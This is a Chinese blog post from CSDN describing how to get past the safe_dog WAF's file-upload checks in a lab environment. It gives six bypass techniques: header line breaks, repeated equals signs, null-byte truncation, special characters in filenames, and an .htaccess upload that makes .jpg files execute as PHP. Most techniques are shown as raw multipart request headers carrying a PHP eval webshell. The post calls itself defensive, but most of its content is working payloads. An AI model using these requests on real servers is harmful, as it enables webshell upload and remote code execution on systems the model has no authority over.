文件上传绕过_文件上传绕过Waf

本文主要探讨了如何绕过文件上传安全防护措施,特别是针对safe_dog中间件的拦截。列举了包括换行、多个等号、00截断、文件名特殊字符(;号和')以及上传.htaccess文件在内的多种绕过策略。内容适用于了解和防范文件上传漏洞。
摘要由CSDN通过智能技术生成

文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定enctype为multipart/from-data才能正常上传文件。

此处不讲各种中间件解析漏洞 只列举几种safe_dog对脚本文件上传拦截的绕过

靶机环境:win2003+safe_dog4.0.23957+webug中的上传

1、换行

Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/jpeg<?php @eval($_POST[1])?>-----------------------------127619278770

14c9dd5154057a264c5b748865d7a357.png

2、多个等号 (不止2,3个)

Content-Disposition: form-data; name="file"; filename=="2.php"Content-Type: image/jpeg<?php @eval($_POST[1])?>-----------------------------127619278770

18ad0223cc73e8984ad811328913991c.png

Content-Disposition: form-data; name="file"; filename==="3.php"Content-Type: image/jpeg<?php @eval($_POST[1])?>-----------------------------127619278770

7caeca98fa50cf5b41a5f42b0a2978c8.png

3、00截断

Content-Disposition: form-data; name="file"; filename="4.php%00"Content-Type: image/jpeg<?php @eval($_POST[1])?>-----------------------------127619278770

143a15f943fd0a31b1eb2d94d598196e.png

4、文件名+;号

Content-Disposition: form-data; name="file"; filename="6;.php"Content-Type: image/jpeg<?php phpinfo()?>-----------------------------127619278770

e4f234496c5e68649f9377ff9cffdee1.png

3a8aef72c4d127e4e1573ee89fbaf8b1.png

5、文件名+‘

Content-Disposition: form-data; name="file"; filename="7'.php"Content-Type: image/jpeg<?php phpinfo()?>-----------------------------127619278770

f6d06cbbbe32f17f274164ddccc70fce.png

8b6a0003d2e2a5f51524cc783a732126.png

6、上传.htaccess

Content-Disposition: form-data; name="file"; filename=".htaccess"Content-Type: image/jpegAddType application/x-httpd-php jpg-----------------------------127619278770

27e14be55c8fcad7de09d44d3b265c13.png

16259636551e42556c8fa9b4da22e9b4.png

432d1ca5a3ea8b43a97a0ceb0928c1c2.png

7、参考:

https://www.t00ls.net/viewthread.php?tid=51253&highlight=%E5%AE%89%E5%85%A8%E7%8B%97

https://www.t00ls.net/viewthread.php?tid=50690&highlight=%E5%AE%89%E5%85%A8%E7%8B%97

b3dc54e540f11f03ae7d1ce4fd0b4a71.png

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值